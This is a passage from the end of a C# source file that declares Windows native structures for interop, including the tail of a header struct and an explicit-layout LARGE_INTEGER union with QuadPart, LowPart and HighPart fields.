public UInt32 Characteristics; /*+0x024*/
}
[StructLayout(LayoutKind.Explicit, Size = 1)]
public struct LARGE_INTEGER {
[FieldOffset(0)] public Int64 QuadPart; /*+0x000*/
[FieldOffset(0)] public UInt32 LowPart; /*+0x000*/
[FieldOffset(4)] public UInt32 HighPart; /*+0x004*/
}
}
}

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